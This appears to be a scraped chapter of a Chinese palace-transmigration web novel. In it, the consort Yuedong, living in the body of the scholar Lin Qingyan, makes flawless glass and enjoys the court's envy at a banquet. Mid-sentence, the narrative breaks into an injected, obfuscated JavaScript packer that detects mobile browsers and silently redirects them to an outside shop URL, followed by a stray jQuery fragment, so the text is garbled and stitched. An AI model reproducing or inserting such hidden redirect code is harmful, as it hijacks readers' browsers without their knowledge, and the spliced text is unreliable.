近来因着玻璃一事,林清宴这位新科探花的际遇可谓是一步登天,十分惹人艳羡。
先是勤政殿侍读,后又被陛下亲自提拔进了工部。
然而这位炙手可热的探花郎,起初可没几个人看好他的,甚至当时因着侍读一事,隐隐有各种桃色流言传出,只是猜测却无实证相佐,才渐渐无人提及。
那新科探花郎据说是因为与那宠妃拐着弯认上了表亲,才得了陛下任命这份差事。
直到这次因着调动一事又谈论起先前那事来,但这次与上次互相隐晦对视不同的是,这次众人却都各执己见,但大致分为了三派。
一派认为与先前那事一样,只是借了丽嫔的由头要给这探花郎挪个位置,一派则认为陛下雨露均沾,享齐人之福,最后一派则认为陛下只是因着那探花郎与丽嫔娘娘长得相似才得了提拔。
陛下将这么个初入官场的愣头青派到工部,还教他压在诸位主事头上,那可是工部有名的几头犟驴,因此当初并无一人看好他能成事。
尤其是派给他做的差事,更是令人怀疑今上是否被那新纳入宫的丽嫔给迷昏了头,还是这位新科探花郎有些本事,才哄得陛下下了这样的调令。
至于工部之事么,虽然起初瞒得紧些,没人知道他们是在做什么。
但随着时间的推移,又加上这世上就没有不透风的墙,林清宴领的什么差事,消息灵通又关注陛下动静的那些个官员,该知道的都知道了。
一国之君竟就这般听信宠妃的话,将对方不知从何处捡来的一块黑石头当成个宝贝,还要叫人从中研究出个名堂来讨那宠妃欢心。
原本陛下要哄一哄宠妃倒无不可,可陛下竟令一众官员配合其行事!
这!这简直不像话!
然而陛下如今正在兴头上,谁也不打算去当这个出头的椽子,便都冷眼旁观,等那小林大人拿不出来成品时再去好好参他一本,顺带劝诫陛下别太听信妇人谗言。
可谁知道,这林清宴入了工部半月未得成果。
这时便有人按捺不住示意手底下小官写了封隐晦劝诫的折子。
但这折子还没等递上去呢。
那边工部就传来消息,东西不仅已制好了,林大人也一早便入宫递往陛下手中。
教那些个写了折子的官员赶忙跑去通政司,觍着脸将自己的折子要回来,让通政司值守的官员好一顿笑话。
那些差点也写了弹劾折子,甚至隐隐想要骂上几句妖妃祸国、奸佞当道,来展示自己为国为民高尚品德的官员,赶忙将自己的想法压了下去。
他们可不想跟着变成同僚间的笑话!
起先送去给丽嫔娘娘处的无色琉璃杯盏,众大臣虽未曾得见,但见过那物的宫侍却不少,随意打听几句便知此事不假。
且那日过后,陛下龙心大悦,不仅又给林大人拨了些人手,还给了他好些庄子的管事权。
户部和原本管理庄子的内务府对此虽颇有微词,但因着前车之鉴,却到底未敢发表什么言论,更不敢上什么弹劾的折子。
此后林大人便带着人手,迅速在皇城郊外的庄子上热火朝天地干了起来。
为防着方子泄露,便派了些官兵驻守,防守严密得连半只苍蝇也进入不得。
因此一连大半个月,无论是谁都未曾得到半点消息。
直到万寿节时宫中设宴,陛下赏给皇亲贵族和有功之臣的一应珍宝中,竟都添了一两件纯澈剔透的无色琉璃摆件!
此时被那些美轮美奂的琉璃摆件险些晃花了眼的众人才知,这林大人是从丽嫔娘娘所给的那块黑石头中研究出了怎样一件敛财利器!
那摆件被得赏的数人反复把玩观赏,他们顶着那闪瞎眼的光晕不死心地细瞧,却也只能瞧出这摆件无色剔透,除了映射着日光烛火的满室光晕外,本身竟无半点杂质!
那竟是制作无暇无色琉璃的方子!
只略略一算这其中价值,便叫众人嫉妒得眼睛都发红了。
一时间工部诸人所在的角落,瞬间便被投来无数羡慕嫉妒的目光,几乎要将这几位大人灼伤。
越冬不似同僚被众人注视的坐立不安,他眼眸微抬,欣赏那一个个瞬间变成了兔子的同僚官员们,一一将那些或明或暗投来的嫉妒目光扫过。
他唇角微勾,这么多人都想来祝贺他,自己作为今日的半个主角,怎能失了礼数?
他环视一圈,随手执起一旁玉质酒壶斟满一杯后,朝着诸位大臣所在方向遥遥示意,而后举杯饮尽。
举手投足间尽是意气风发的得意神色,任谁都看得出其中的意味。
令那些一直关注着这方的人,险些咬碎了牙。
越冬却是以此景作赏,时而浅酌一口。
高台之上的御座有二人端坐其上,正是陛下与丽嫔娘娘。
太后托辞身子不佳,便未前来。
仗着在场无人敢窥伺身旁这人,越冬便稍稍放肆了些,轻轻倚靠在赵乾肩上。
这些日子为了这批琉璃摆件,可费了他不少心神。
赵乾感受着肩上的重量,怕动静太大便不好转头看向身边之人,索性在他眼里的林清宴与身边之人一般模样,本就是同一个人。
因此他微微侧身,让他靠得更舒适些,用膳时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17798515|210566||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不便偏头看他,就往林清宴那处略微分了些目光,此刻便恰巧瞥见工部那处的暗流涌动,他喉间溢出一声若有似无的低沉笑意:
“爱妃可是玩得开心了?”
越冬擦了擦嘴角的点心碎渣,撇了撇嘴道:“勉勉强强吧,竟没一个上前来与我说道说道的,没趣。”
赵乾闻言失笑道:“如今‘林大人’可是我面前的红人,这帮混成老油子的人精谁敢来你跟前来找事?不怕你给我吹枕边风?”
“什么枕头风,这样吹吗?”
“呼呼。”越冬微抬起头来,轻轻在他耳边吹了口气。
赵乾感受到耳边温热的气息,唇角笑意微顿,眼底暗色似要泛溢而出,却在瞥见他捂嘴偷笑,弯弯的笑眼里尽是藏不住的、作弄得逞的得意神色时,又压了下去。
他神色无奈地摇了摇头,垂眸给笑眼盈盈的某人倒了杯果酒,轻轻推到他面前:“用了这么多点心,喝点吧?”
越冬止住笑意,抿了抿唇,的确有些渴了。
嘿嘿,他这新任好兄弟真贴心,还知道他刚好有些渴了。
待时间差不多时,赵乾便带着越冬先行离去,随后朝臣才一一散去。
越冬顶着林清宴的壳子,与工部众人走在一处,那姓吴的魁梧同僚见他脸颊泛红,便走在外侧,将其他官员有意无意的目光都挡了去。
越冬察觉到后,一边装醉一边心想这吴大人倒挺好的,先前不过是看他敢于第一个认错,又心思细致,便随口点拨了两句,没想到倒是个记好的。
唔,以后倒是可以多教些。
————
“嗯?娘叫人送来的?什么时候?”越冬拎着一只绣得满满当当的荷包凑近看:“怎么绣了这么多只鸭子?”
那只荷包是甘姨娘托宫侍转交给丽嫔的,因这里头空空如也,那宫侍只当是母亲给女儿送的寻常绣品,才答应转交。
赵乾将那荷包从他手中取下,仔细辨认后失声笑道:“这不是鸭子,是鸳鸯。”
“唔,娘她绣鸳鸯做什么,我又不是……”越冬嘀咕道,后半句话才起了个头便意识到不对,声音渐渐小了下去,翻着那只换到赵乾手中的荷包,开始数起数来:“一、二……十一,十二。”
“陛下你数数呢,这个是不是绣了十二只?”
赵乾眼底掠过一丝了然,但也接下他这生硬转移的话题,当真仔细数了起来。
“爱妃好眼力,这般醉了还能数得清楚,的确是十二只。”
“十二……十二?”越冬眯了眯眼,突然转头看向他:“陛下是否有位排行十二的皇弟,是由太后所出?”